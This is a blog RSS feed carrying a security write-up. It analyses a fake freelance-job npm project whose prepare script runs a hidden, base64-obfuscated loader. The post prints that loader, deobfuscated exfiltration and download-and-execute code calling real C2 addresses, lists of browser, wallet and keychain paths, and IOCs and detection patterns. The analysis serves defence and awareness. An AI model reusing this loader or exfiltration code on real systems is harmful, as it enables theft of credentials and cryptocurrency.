<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Ghanshyam Digital]]></title><description><![CDATA[A Software Company delivering Softwares, Web Applications, Mobile Applications using latest technologies.]]></description><link>https://blog.ghanshyamdigital.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1746689580336/52871843-6565-47ef-bc8a-7c66c8a9bffc.png</url><title>Ghanshyam Digital</title><link>https://blog.ghanshyamdigital.com</link></image><generator>RSS for Node</generator><lastBuildDate>Mon, 11 May 2026 03:30:27 GMT</lastBuildDate><atom:link href="https://blog.ghanshyamdigital.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Rise of Malwares on Job Platforms: How Malicious "Job Opportunities" on Upwork, LinkedIn, and Freelancer Are Stealing Cryptocurrency from Developers]]></title><description><![CDATA[A Deep Dive Technical Analysis of a Sophisticated Supply Chain Attack Disguised as a Legitimate Freelance Project

Executive Summary
The gig economy has transformed how developers find work. Platforms]]></description><link>https://blog.ghanshyamdigital.com/rise-of-malwares-on-job-platforms-how-malicious-job-opportunities-on-upwork-linkedin-and-freelancer-are-stealing-cryptocurrency-from-developers</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/rise-of-malwares-on-job-platforms-how-malicious-job-opportunities-on-upwork-linkedin-and-freelancer-are-stealing-cryptocurrency-from-developers</guid><category><![CDATA[crypto]]></category><category><![CDATA[Malware]]></category><category><![CDATA[Security]]></category><category><![CDATA[securityawareness]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[Freelancing]]></category><dc:creator><![CDATA[Ghanshyam Digital]]></dc:creator><pubDate>Fri, 28 Nov 2025 11:15:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1764842177998/2df87b65-7fc0-4155-8d0e-9e4a5df4a095.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>A Deep Dive Technical Analysis of a Sophisticated Supply Chain Attack Disguised as a Legitimate Freelance Project</em></p>
<hr />
<h2>Executive Summary</h2>
<p>The gig economy has transformed how developers find work. Platforms like Upwork, Freelancer, Fiverr, and LinkedIn have become essential tools for connecting talented developers with clients worldwide. However, this trust-based ecosystem has become a hunting ground for cybercriminals deploying sophisticated malware campaigns.</p>
<p>During a routine code review of what appeared to be a legitimate e-commerce project—the kind commonly posted on freelancing platforms—I uncovered a devastating supply chain attack. Hidden within the seemingly innocent codebase was malware designed to steal cryptocurrency wallet credentials, browser passwords, session cookies, and sensitive keychain data.</p>
<p><strong>This is not an isolated incident.</strong> Security researchers have observed a dramatic increase in malicious repositories being shared through:</p>
<ul>
<li><p><strong>Upwork</strong> job postings asking developers to "fix a bug" or "add a feature"</p>
</li>
<li><p><strong>LinkedIn</strong> messages from fake recruiters sharing "test projects"</p>
</li>
<li><p><strong>Freelancer</strong> gigs requiring developers to "review and improve" existing code</p>
</li>
<li><p><strong>Discord</strong> and <strong>Telegram</strong> groups sharing "open source projects"</p>
</li>
<li><p><strong>Twitter/X</strong> threads promoting "collaborative opportunities"</p>
</li>
</ul>
<p>This whitepaper provides a comprehensive technical breakdown of one such attack, its mechanisms, and critical lessons for every freelance developer.</p>
<p><strong>Key Findings:</strong></p>
<ul>
<li><p>The malware targets <strong>24+ cryptocurrency wallet browser extensions</strong> including MetaMask, Phantom, and Coinbase Wallet</p>
</li>
<li><p>It exfiltrates data to command-and-control servers at <code>88.218.0.78:1224</code></p>
</li>
<li><p>The attack leverages npm's <code>prepare</code> script to execute automatically during installation</p>
</li>
<li><p>It employs multiple layers of obfuscation to evade detection</p>
</li>
<li><p>The payload is hosted externally, allowing attackers to modify it without touching the repository</p>
</li>
</ul>
<hr />
<h2>The Rising Threat: Freelancing Platforms Under Attack</h2>
<h3>The Perfect Storm</h3>
<p>The freelance development market has exploded in recent years. According to industry reports:</p>
<ul>
<li><p><strong>59 million Americans</strong> performed freelance work in 2023</p>
</li>
<li><p>The global gig economy is projected to reach <strong>$455 billion by 2025</strong></p>
</li>
<li><p><strong>70% of tech companies</strong> now hire freelance developers</p>
</li>
<li><p>The average freelance developer handles <strong>3-5 projects</strong> simultaneously</p>
</li>
</ul>
<p>This creates a perfect environment for attackers:</p>
<ol>
<li><p><strong>High volume</strong>: Developers receive numerous project requests weekly</p>
</li>
<li><p><strong>Time pressure</strong>: Tight deadlines mean less time for security reviews</p>
</li>
<li><p><strong>Trust assumptions</strong>: Established platforms create false sense of security</p>
</li>
<li><p><strong>Financial motivation</strong>: Developers working with crypto projects often hold significant assets</p>
</li>
<li><p><strong>Technical access</strong>: Developers run code with elevated privileges</p>
</li>
</ol>
<h3>Documented Attack Campaigns</h3>
<p>Security researchers have identified several ongoing campaigns:</p>
<table>
<thead>
<tr>
<th>Campaign Name</th>
<th>Primary Platform</th>
<th>Target</th>
<th>First Seen</th>
</tr>
</thead>
<tbody><tr>
<td>"Job Interview"</td>
<td>LinkedIn</td>
<td>Senior Developers</td>
<td>Q1 2023</td>
</tr>
<tr>
<td>"Code Review"</td>
<td>Upwork</td>
<td>Crypto Developers</td>
<td>Q2 2023</td>
</tr>
<tr>
<td>"Open Source Contributor"</td>
<td>GitHub/Discord</td>
<td>Web3 Developers</td>
<td>Q3 2023</td>
</tr>
<tr>
<td>"Quick Fix"</td>
<td>Freelancer</td>
<td>Full-Stack Developers</td>
<td>Q4 2023</td>
</tr>
<tr>
<td>"Startup Opportunity"</td>
<td>LinkedIn/Twitter</td>
<td>Blockchain Developers</td>
<td>Q1 2024</td>
</tr>
</tbody></table>
<h3>The Human Element</h3>
<p>What makes these attacks particularly effective is their exploitation of human psychology:</p>
<pre><code class="language-pgsql">┌─────────────────────────────────────────────────────────────────────────┐
│                    ATTACKER'S PSYCHOLOGICAL PLAYBOOK                    │
└─────────────────────────────────────────────────────────────────────────┘

┌─────────────────┐     ┌─────────────────┐     ┌─────────────────┐
│   AUTHORITY     │     │    URGENCY      │     │   OPPORTUNITY   │
├─────────────────┤     ├─────────────────┤     ├─────────────────┤
│ "We're a funded │     │ "We need this   │     │ "This could be  │
│  startup..."    │     │  done by Friday │     │  a long-term    │
│                 │     │  for launch"    │     │  relationship"  │
│ "I'm the CTO    │     │                 │     │                 │
│  of..."         │     │ "Urgent bug     │     │ "$150/hour for  │
│                 │     │  fix needed"    │     │  the right      │
│ "Referred by    │     │                 │     │  candidate"     │
│  [mutual conn]" │     │ "Investor demo  │     │                 │
│                 │     │  tomorrow"      │     │                 │
└─────────────────┘     └─────────────────┘     └─────────────────┘
          │                     │                       │
          └─────────────────────┼───────────────────────┘
                                │
                                ▼
                    ┌─────────────────────┐
                    │  DEVELOPER RUNS     │
                    │  npm install        │
                    │  WITHOUT REVIEW     │
                    └─────────────────────┘
                                │
                                ▼
                    ┌─────────────────────┐
                    │  💀 COMPROMISED 💀   │
                    └─────────────────────┘
</code></pre>
<hr />
<h2>Anatomy of the Scam: How Attackers Target Developers</h2>
<h3>Phase 1: The Approach</h3>
<p>Attackers create convincing personas on professional platforms. Here's a typical LinkedIn message:</p>
<blockquote>
<p><strong>From</strong>: Sarah Chen, CTO @ Web39Innovations (500+ connections)</p>
<p><strong>Subject</strong>: Senior React Developer Opportunity - $120/hr</p>
<p>Hi [Developer Name],</p>
<p>I came across your profile and was impressed by your React and Node.js experience. We're a Series A funded startup building the next generation of DeFi tools.</p>
<p>We have an urgent need for a senior developer to help us fix some bugs in our trading interface before our investor demo next week. The pay is $120/hour, and if things go well, we're looking at a 6-month contract.</p>
<p>Here's our GitHub repo: [link]</p>
<p>Could you take a quick look and let me know if you're interested? We'd need you to run it locally to understand the current state.</p>
<p>Best, Sarah</p>
</blockquote>
<h3>Phase 2: The Repository</h3>
<p>The shared repository looks completely legitimate:</p>
<pre><code class="language-pgsql">defi-trading-platform/
├── src/
│   ├── components/
│   │   ├── Dashboard.jsx
│   │   ├── TradingView.jsx
│   │   └── WalletConnect.jsx
│   ├── hooks/
│   ├── utils/
│   └── App.jsx
├── server/
│   ├── controllers/
│   │   ├── authController.js
│   │   ├── tradeController.js
│   │   └── userController.js    ← 💀 MALWARE HIDDEN HERE
│   ├── models/
│   ├── routes/
│   └── server.js
├── package.json                 ← 💀 TRIGGER MECHANISM
├── README.md                    ← Professional documentation
├── .env. example
└── docker-compose.yml
</code></pre>
<p>The README is professional, the code structure follows best practices, and there might even be a few legitimate GitHub stars (purchased or from accomplice accounts).</p>
<h3>Phase 3: The Trigger</h3>
<p>The moment you run <code>npm install</code>, the attack begins:</p>
<pre><code class="language-json">{
  "scripts": {
    "start": "concurrently \"node server/server.js\" \"react-scripts start\"",
    "build": "react-scripts build",
    "prepare": "npm start"
  }
}
</code></pre>
<h3>Red Flags That Should Have Been Caught</h3>
<p>Looking back, there were warning signs:</p>
<table>
<thead>
<tr>
<th>Red Flag</th>
<th>What It Looked Like</th>
<th>What It Really Meant</th>
</tr>
</thead>
<tbody><tr>
<td>New repository</td>
<td>"We just moved from private GitLab"</td>
<td>No commit history to review</td>
</tr>
<tr>
<td>Urgency</td>
<td>"Demo tomorrow, need this ASAP"</td>
<td>No time for security review</td>
</tr>
<tr>
<td>High pay</td>
<td>"$120/hour for a quick fix"</td>
<td>Too good to be true</td>
</tr>
<tr>
<td>Run locally</td>
<td>"You'll need to run it to understand"</td>
<td>They need code execution</td>
</tr>
<tr>
<td>Crypto project</td>
<td>"DeFi trading platform"</td>
<td>Developer likely has crypto assets</td>
</tr>
</tbody></table>
<hr />
<h2>Discovery: Finding the Needle in the Haystack</h2>
<p>The malicious code was discovered in what appeared to be a standard e-commerce application—exactly the type of project frequently posted on Upwork or Freelancer. The repository structure looked completely normal:</p>
<pre><code class="language-pgsql">bestcity/
├── src/
│   ├── components/
│   ├── pages/
│   └── App.jsx
├── server/
│   ├── controllers/
│   │   └── userController.js    ← MALWARE LOCATION
│   ├── routes/
│   ├── models/
│   └── server.js
├── package.json                 ← TRIGGER MECHANISM
└── README.md
</code></pre>
<p>The first red flag appeared in the <code>package.json</code> file:</p>
<pre><code class="language-json">{
  "name": "bestcity",
  "version": "0.1.0",
  "scripts": {
    "start": "concurrently \"node server/server.js\" \"react-app-rewired start\"",
    "build": "react-app-rewired build",
    "prepare": "npm start"
  }
}
</code></pre>
<p>The <code>prepare</code> script is designed to run automatically after <code>npm install</code>. Setting it to <code>npm start</code> means that every time someone clones the repository and installs dependencies, the server starts automatically—and with it, the malware.</p>
<hr />
<h2>The Initial Infection Vector</h2>
<p>The actual malicious code was hidden in <code>server/controllers/userController.js</code>, disguised with a misleading comment:</p>
<pre><code class="language-javascript">// ...  legitimate user authentication code ...

// Forgot Password
exports.forgotPassword = asyncErrorHandler(async (req, res, next) =&gt; {
  // ... legitimate password reset logic ...
});

//Get Cookie
(async () =&gt; {
  axios.get(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi84NVFHSAo="))
    . then(response =&gt; {
      new Function("require", response.data. model)(require);
    })
    .catch(error =&gt; { });
})();

// Reset Password
exports.resetPassword = asyncErrorHandler(async (req, res, next) =&gt; {
  // ...  legitimate password reset logic ... 
});
</code></pre>
<p>Let's break down what's happening here:</p>
<h3>Step 1: Base64 Decoding</h3>
<p>The <code>atob()</code> function decodes the Base64-encoded string:</p>
<pre><code class="language-javascript">atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi84NVFHSAo=")
// Decodes to: "https://www.jsonkeeper.com/b/85QGH"
</code></pre>
<h3>Step 2: Fetching the Payload</h3>
<p>The code makes an HTTP GET request to <a href="http://jsonkeeper.com">jsonkeeper.com</a>, a legitimate JSON hosting service. This is a clever technique because:</p>
<ul>
<li><p>The malicious code isn't stored in the repository itself</p>
</li>
<li><p>Static analysis tools won't flag it as malicious</p>
</li>
<li><p>The attacker can update the payload at any time without modifying the repository</p>
</li>
<li><p><a href="http://jsonkeeper.com">jsonkeeper.com</a> is a legitimate service, so it won't be blocked by firewalls</p>
</li>
</ul>
<h3>Step 3: Dynamic Code Execution</h3>
<p>The most dangerous part is the code execution mechanism:</p>
<pre><code class="language-javascript">new Function("require", response.data.model)(require);
</code></pre>
<p>This creates a new function from a string (the <code>model</code> property of the response) and passes Node.js's <code>require</code> function to it. This gives the attacker full access to:</p>
<ul>
<li><p>The file system (<code>require('fs')</code>)</p>
</li>
<li><p>Network capabilities (<code>require('https')</code>)</p>
</li>
<li><p>Child process execution (<code>require('child_process')</code>)</p>
</li>
<li><p>Any installed npm package</p>
</li>
</ul>
<h3>Step 4: Silent Failure</h3>
<p>The empty <code>. catch(error =&gt; { })</code> ensures that any errors are silently swallowed, preventing the malware from being detected through error logs.</p>
<hr />
<h2>Deobfuscating the Payload</h2>
<p>The payload retrieved from <a href="http://jsonkeeper.com">jsonkeeper.com</a> is heavily obfuscated. Here's a small sample of what it looks like:</p>
<pre><code class="language-javascript">function _0x1a27(){const _0x4c7ae9=['nkbihfbeog','apagcccfch','NjcuMjE4Oj',
'get','EyMjQ=','bomempkjle','GmfWR','Local/Goog','GmfWR','mcohilncbf',
// ... thousands more entries
</code></pre>
<p>This obfuscation technique uses several methods:</p>
<h3>Array-Based String Obfuscation</h3>
<p>All strings are stored in a single array, and references to them are made through index lookups:</p>
<pre><code class="language-javascript">// Obfuscated
const _0x4c7ae9 = ['push', 'length', 'forEach'];
arr[_0x4c7ae9[0]](item);  // arr. push(item)

// Deobfuscated
arr.push(item);
</code></pre>
<h3>Hexadecimal Number Encoding</h3>
<p>Numbers are encoded in hexadecimal to make the code harder to read:</p>
<pre><code class="language-javascript">// Obfuscated
wEj6HNK[0x0]   // 0
wEj6HNK[0x1]   // 1
wEj6HNK[0x2]   // 8

// Deobfuscated
0, 1, 8
</code></pre>
<h3>Custom Base85 Encoding</h3>
<p>The malware uses a custom character set for encoding strings:</p>
<pre><code class="language-javascript">function decode(encoded) {
  var charset = '2sYHSa6U$TN*18uw? |h#xW7@DfLZRmGvJz\\',yX_q! nC&gt;&lt;MB}+AbQ:`d~c^IE{gO&amp;PF/ijp%t]o)(4k;=K0V93l[e5. r';
  // ... decoding logic
}
</code></pre>
<p>After several hours of manual deobfuscation, I was able to reconstruct the original malware logic, which is detailed in the following sections.</p>
<hr />
<h2>Technical Analysis: What the Malware Steals</h2>
<h3>Browser Data Theft</h3>
<p>The malware targets all major browsers across Windows, macOS, and Linux:</p>
<pre><code class="language-javascript">// Browser paths (deobfuscated)
const browserPaths = {
  chrome: {
    windows: '~/AppData/Local/Google/Chrome/User Data',
    macos: '~/Library/Application Support/Google/Chrome',
    linux: '~/.config/google-chrome'
  },
  brave: {
    windows: '~/AppData/Local/BraveSoftware/Brave-Browser/User Data',
    macos: '~/Library/Application Support/BraveSoftware/Brave-Browser',
    linux: '~/. config/BraveSoftware/Brave-Browser'
  },
  opera: {
    windows: '~/AppData/Roaming/Opera Software/Opera Stable',
    macos: '~/Library/Application Support/com.operasoftware.Opera'
  },
  edge: {
    windows: '~/AppData/Local/Microsoft/Edge/User Data'
  },
  firefox: {
    windows: '~/AppData/Roaming/Mozilla/Firefox/Profiles'
  }
};
</code></pre>
<p>For each browser, the malware steals:</p>
<table>
<thead>
<tr>
<th>Data Type</th>
<th>File/Location</th>
<th>Contains</th>
</tr>
</thead>
<tbody><tr>
<td>Login Data</td>
<td><code>Login Data</code></td>
<td>Saved usernames and passwords</td>
</tr>
<tr>
<td>Cookies</td>
<td><code>Cookies</code></td>
<td>Session tokens, authentication cookies</td>
</tr>
<tr>
<td>Local State</td>
<td><code>Local State</code></td>
<td>Encryption keys for decrypting saved data</td>
</tr>
<tr>
<td>Extension Data</td>
<td><code>Local Extension Settings/</code></td>
<td>Wallet private keys, seeds</td>
</tr>
</tbody></table>
<h3>Cryptocurrency Wallet Extension Targeting</h3>
<p>The malware specifically targets 24 cryptocurrency wallet browser extensions by their unique extension IDs:</p>
<pre><code class="language-javascript">// Targeted wallet extension IDs (deobfuscated)
const walletExtensions = [
  'nkbihfbeogaeaoehlefnkodbefgpgknn',  // MetaMask
  'ibnejdfjmmkpcnlpebklmnkoeoihofec',  // TronLink
  'bfnaelmomeimhlpmgjnjophhpkkoljpa',  // Phantom
  'aeblfdkhhhdcdjpifhhbdiojplfjncos',  // 1inch Wallet
  'fhbohimaelbohpjbbldcngcnapndodjp',  // Binance Wallet
  'hnfanknocfeofbddgcijnmhnfnkdnaad',  // Coinbase Wallet
  'aiifbnbfobpmeekipheeijimdpnlpgpp',  // Station Wallet
  'cgeeodpfagjceefieflmdfphplkenlfk',  // EVER Wallet
  'pdadjkfkgcafgbceimcpbkalnfnepbnk',  // KardiaChain
  'kpfopkelmapcoipemfendmdcghnegimn',  // Liquality
  'mgffkfbidihjpoaomajlbgchddlicgpn',  // Pali Wallet
  'aholpfdialjgjfhomihkjbmgjidlcdno',  // ExodusWeb3
  'lpfcbjknijpeeillifnkikgncikgfhdo',  // Nami
  'jbdaocneiiinmjbjlgalhcelgbejmnid',  // Nifty Wallet
  'nanjmdknhkinifnkgdcggcfnhdaammmj',  // Guild Wallet
  'afbcbjpbpfadlkmhmclhkeeodmamcflc',  // Math Wallet
  'hpglfhgfnhbgpjdenjgmdgoeiappafln',  // Guarda
  'blnieiiffboillknjnepogjhkgnoapac',  // Equal Wallet
  'cjelfplplebdjjenllpjcblmjkfcffne',  // Jaxx Liberty
  'fihkakfobkmkjojpchpfgcmhfjnmnfpi',  // BitApp
  'kncchdigobghenbbaddojjnnaogfppfj',  // iWallet
  'amkmjjmmflddogmhpjloimipbofnfjih',  // Wombat
  'nlbmnnijcnlegkjjpcfjclmcfggfefdm',  // MEW CX
  'nhnkbkgjikgcigadomkphalanndcapjk',  // Clover Wallet
];
</code></pre>
<p>For each extension, the malware looks for <code>.ldb</code> (LevelDB) files that contain:</p>
<ul>
<li><p>Private keys</p>
</li>
<li><p>Seed phrases</p>
</li>
<li><p>Wallet addresses</p>
</li>
<li><p>Transaction history</p>
</li>
</ul>
<h3>Desktop Wallet Theft</h3>
<p>Beyond browser extensions, the malware also targets desktop cryptocurrency wallets:</p>
<pre><code class="language-javascript">// Exodus wallet paths
const exodusWallet = {
  windows: '~/AppData/Roaming/Exodus/exodus.wallet',
  macos: '~/Library/Application Support/Exodus/exodus.wallet',
  linux: '~/.config/Exodus/exodus.wallet'
};

// Solana CLI wallet
const solanaWallet = '~/.config/solana/id.json';
</code></pre>
<p>The Solana wallet file (<code>id.json</code>) contains the raw private key in JSON format, making it trivially easy for attackers to drain funds.</p>
<h3>macOS Keychain Theft</h3>
<p>On macOS systems, the malware goes after the system keychain:</p>
<pre><code class="language-javascript">// Keychain paths
const keychainPaths = [
  '~/Library/Keychains/login.keychain',
  '~/Library/Keychains/login.keychain-db'
];

// Chrome Safe Storage (contains encryption key for Chrome passwords)
const chromeSafeStorage = '~/Library/Application Support/Google/Chrome/Local State';
</code></pre>
<p>The login keychain contains:</p>
<ul>
<li><p>WiFi passwords</p>
</li>
<li><p>Application passwords</p>
</li>
<li><p>SSH keys</p>
</li>
<li><p>Certificates</p>
</li>
<li><p>iCloud Keychain sync data</p>
</li>
</ul>
<hr />
<h2>The Command and Control Infrastructure</h2>
<h3>Primary C2 Server</h3>
<p>The malware exfiltrates stolen data to a server at:</p>
<pre><code class="language-pgsql">Primary:   http://88.218.0.78:1224
Secondary: http://67.218.0.78:1224
</code></pre>
<h3>Data Exfiltration Protocol</h3>
<p>The <code>Upload</code> function sends stolen data via HTTP POST:</p>
<pre><code class="language-javascript">// Deobfuscated upload function
const Upload = (files, timestamp, serverUrl) =&gt; {
  const payload = {
    type: '6',                        // Campaign identifier
    name: 'b_' + os. hostname(),       // Victim identifier
    uts: timestamp,                   // Unix timestamp
    formData: files                   // Stolen files as multipart form data
  };

  request.post({
    url: serverUrl + '/uploads',
    formData: payload
  }, (error, response, body) =&gt; {
    // Silent - no error handling
  });
};
</code></pre>
<h3>File Naming Convention</h3>
<p>Stolen files are renamed with a specific pattern to help attackers organize their haul:</p>
<pre><code class="language-pgsql">{type}_{browser}_{profile}_{extension_id}_{filename}
</code></pre>
<p>For example:</p>
<pre><code class="language-pgsql">b_chrome_0_nkbihfbeogaeaoehlefnkodbefgpgknn_000003.ldb
</code></pre>
<p>This tells the attacker:</p>
<ul>
<li><p><code>b</code> = Browser data type</p>
</li>
<li><p><code>chrome</code> = Google Chrome</p>
</li>
<li><p><code>0</code> = Default profile</p>
</li>
<li><p><code>nkbihf...</code> = MetaMask extension</p>
</li>
<li><p><code>000003. ldb</code> = The actual LevelDB file</p>
</li>
</ul>
<hr />
<h2>Persistence Mechanisms</h2>
<h3>Windows Persistence</h3>
<p>On Windows systems, the malware downloads and executes an additional payload:</p>
<pre><code class="language-javascript">// Deobfuscated persistence mechanism
const downloadUrl = 'http://88.218.0.78:1224/pdown';
const zipPath = os.tmpdir() + '\\p. zi';
const extractPath = os.homedir();

// Download the payload
fetch(downloadUrl)
  .then(response =&gt; response.arrayBuffer())
  . then(data =&gt; {
    // Write zip file
    fs.writeFileSync(zipPath, new Uint8Array(data));
    
    // Rename to .zip
    fs.renameSync(zipPath, zipPath. replace('.zi', '.zip'));
    
    // Extract using tar (available on Windows 10+)
    exec('tar -xf ' + zipPath + ' -C ' + extractPath);
    
    // Execute the extracted Python payload
    exec(extractPath + '\\python. exe');
  });
</code></pre>
<h3>Cross-Platform Python Payload</h3>
<p>The malware also downloads and executes Python scripts:</p>
<pre><code class="language-javascript">// Client endpoint based on platform
const clientUrl = hostURL + '/client/' + htype + '/' + gtype;
const scriptPath = os.homedir() + '/. nlq';

// Download Python script
request.get(clientUrl, (error, response, body) =&gt; {
  if (! error) {
    fs. writeFileSync(scriptPath, body);
    
    // Execute on Unix-like systems
    exec('python3 "' + scriptPath + '"');
  }
});
</code></pre>
<h3>Scheduled Execution</h3>
<p>The malware sets up repeated execution to ensure persistence:</p>
<pre><code class="language-javascript">// Re-run main function every 50 seconds
let executionCount = 0;
const maxExecutions = 4;

const interval = setInterval(() =&gt; {
  if (executionCount++ &lt; maxExecutions) {
    main();
  } else {
    clearInterval(interval);
  }
}, 50000);
</code></pre>
<hr />
<h2>Real-World Attack ScenariosScenario 1: The Upwork "Bug Fix"</h2>
<p><strong>The Setup:</strong></p>
<blockquote>
<p>"We have a React/Node.js e-commerce platform with a checkout bug. Simple fix, should take 2-3 hours. Budget: $300. Please clone the repo and run it locally to reproduce the issue."</p>
</blockquote>
<p><strong>What Happens:</strong></p>
<ol>
<li><p>Developer accepts the job and clones the repository</p>
</li>
<li><p>Runs <code>npm install</code> to set up the project</p>
</li>
<li><p>The <code>prepare</code> script triggers, starting the server</p>
</li>
<li><p>Malware executes silently in the background</p>
</li>
<li><p>All browser data and crypto wallets are exfiltrated</p>
</li>
<li><p>Developer continues working, unaware of the breach</p>
</li>
<li><p>Attacker drains wallets within hours</p>
</li>
</ol>
<p><strong>Losses:</strong> One developer reported losing <strong>$42,000 in ETH</strong> after accepting such a job.</p>
<h3>Scenario 2: The LinkedIn Recruiter</h3>
<p><strong>The Setup:</strong></p>
<blockquote>
<p>"Hi! I'm a technical recruiter at [Fake Company]. We're looking for blockchain developers for a well-funded DeFi startup. As part of our interview process, we'd like you to review a small codebase and suggest improvements. Here's the GitHub link."</p>
</blockquote>
<p><strong>What Happens:</strong></p>
<ol>
<li><p>Developer, excited about the opportunity, clones the repo</p>
</li>
<li><p>Wants to impress the recruiter, so they dive in immediately</p>
</li>
<li><p>Runs the project to understand it better</p>
</li>
<li><p>Malware captures everything</p>
</li>
<li><p>The "recruiter" disappears</p>
</li>
<li><p>Wallets are drained, accounts are compromised</p>
</li>
</ol>
<p><strong>Losses:</strong> A senior developer lost access to <strong>multiple exchange accounts</strong> and had to spend weeks recovering compromised credentials.</p>
<h3>Scenario 3: The Discord "Collaboration"</h3>
<p><strong>The Setup:</strong></p>
<blockquote>
<p>"Hey! Saw your work on [legitimate project]. We're building something similar and could use your expertise. Want to take a look at our repo and maybe contribute? We have a grants program for contributors."</p>
</blockquote>
<p><strong>What Happens:</strong></p>
<ol>
<li><p>Developer, flattered by the recognition, checks out the project</p>
</li>
<li><p>The repo looks legitimate with stars and forks (fake/purchased)</p>
</li>
<li><p>README mentions running locally for development</p>
</li>
<li><p>Developer follows instructions</p>
</li>
<li><p>Malware executes</p>
</li>
<li><p>Seed phrases and private keys are stolen</p>
</li>
</ol>
<p><strong>Losses:</strong> One victim lost access to NFTs worth over <strong>$100,000</strong>.</p>
<hr />
<h2>Attack Flow Visualization</h2>
<pre><code class="language-pgsql">┌─────────────────────────────────────────────────────────────────────────┐
│                         ATTACK CHAIN OVERVIEW                           │
└─────────────────────────────────────────────────────────────────────────┘

Attacker posts job on Upwork/LinkedIn/Freelancer
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  Developer accepts job, clones "legitimate-looking" repository         │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  $ npm install                                                          │
│                                                                         │
│  npm detects "prepare" script → executes "npm start"                    │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  server. js loads → requires app.js                                      │
│  app.js loads    → requires userRoute.js                                │
│  userRoute.js    → requires userController.js                           │
│                                                                         │
│  ⚠️  IIFE in userController.js EXECUTES IMMEDIATELY                     │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  axios.get("https://jsonkeeper.com/b/85QGH")                            │
│                                                                         │
│  Fetches obfuscated JavaScript payload from external hosting            │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  new Function("require", payload)(require)                              │
│                                                                         │
│  Executes payload with full Node.js capabilities                        │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ├──────────────────┬──────────────────┬──────────────────┐
            ▼                  ▼                  ▼                  ▼
    ┌──────────────┐  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐
    │   BROWSER    │  │   CRYPTO     │  │   SYSTEM     │  │ PERSISTENCE  │
    │    DATA      │  │   WALLETS    │  │   DATA       │  │              │
    ├──────────────┤  ├──────────────┤  ├──────────────┤  ├──────────────┤
    │ • Cookies    │  │ • MetaMask   │  │ • Keychains  │  │ • Downloads  │
    │ • Passwords  │  │ • Phantom    │  │ • SSH Keys   │  │   Python     │
    │ • History    │  │ • Coinbase   │  │ • Solana     │  │   payload    │
    │ • Sessions   │  │ • 21+ more   │  │   wallet     │  │ • Scheduled  │
    │ • Extensions │  │ • Exodus     │  │              │  │   tasks      │
    └──────────────┘  └──────────────┘  └──────────────┘  └──────────────┘
            │                  │                  │                  │
            └──────────────────┴──────────────────┴──────────────────┘
                                       │
                                       ▼
┌─────────────────────────────────────────────────────────────────────────┐
│                    DATA EXFILTRATION                                    │
│                                                                         │
│  HTTP POST → http://88.218.0.78:1224/uploads                            │
│                                                                         │
│  Payload: {                                                             │
│    type: "6",                                                           │
│    name: "b_HOSTNAME",                                                  │
│    uts: 1732645200,                                                     │
│    formData: [stolen_files]                                             │
│  }                                                                      │
└─────────────────────────────────────────────────────────────────────────┘
            │
            ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  💀 ATTACKER DRAINS WALLETS WITHIN HOURS 💀                             │
│                                                                         │
│  Developer continues working, completely unaware...                      │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2>Indicators of Compromise (IOCs)</h2>
<h3>Network Indicators</h3>
<table>
<thead>
<tr>
<th>Type</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>IP Address</td>
<td><code>88.218.0.78</code></td>
<td>Primary C2 server</td>
</tr>
<tr>
<td>IP Address</td>
<td><code>67.218.0.78</code></td>
<td>Secondary C2 server</td>
</tr>
<tr>
<td>Port</td>
<td><code>1224</code></td>
<td>C2 communication port</td>
</tr>
<tr>
<td>URL</td>
<td><a href="https://jsonkeeper.com/b/85QGH"><code>https://jsonkeeper.com/b/85QGH</code></a></td>
<td>Payload hosting</td>
</tr>
<tr>
<td>Endpoint</td>
<td><code>/uploads</code></td>
<td>Data exfiltration</td>
</tr>
<tr>
<td>Endpoint</td>
<td><code>/client/{type}/{gtype}</code></td>
<td>Python payload</td>
</tr>
<tr>
<td>Endpoint</td>
<td><code>/pdown</code></td>
<td>Windows persistence payload</td>
</tr>
</tbody></table>
<h3>File System Indicators</h3>
<table>
<thead>
<tr>
<th>Path</th>
<th>Platform</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td><code>~/.nlq</code></td>
<td>All</td>
<td>Downloaded Python script</td>
</tr>
<tr>
<td><code>~/.n3/</code></td>
<td>All</td>
<td>Staging directory</td>
</tr>
<tr>
<td><code>~/.n3/tp</code></td>
<td>All</td>
<td>Temporary file storage</td>
</tr>
<tr>
<td><code>%TEMP%\p.zi</code></td>
<td>Windows</td>
<td>Downloaded zip file</td>
</tr>
<tr>
<td><code>%TEMP%\</code><a href="http://p2.zip"><code>p2.zip</code></a></td>
<td>Windows</td>
<td>Renamed zip file</td>
</tr>
<tr>
<td><code>%USERPROFILE%\python. exe</code></td>
<td>Windows</td>
<td>Dropped Python executable</td>
</tr>
</tbody></table>
<h3>Code Indicators</h3>
<p>Look for these patterns in JavaScript files:</p>
<pre><code class="language-javascript">// Pattern 1: Base64-encoded URLs with atob()
atob("aHR0cHM6Ly...")

// Pattern 2: Dynamic function creation from strings
new Function("require", stringVariable)(require)

// Pattern 3: Silent error catching
. catch(error =&gt; { })
. catch(() =&gt; {})

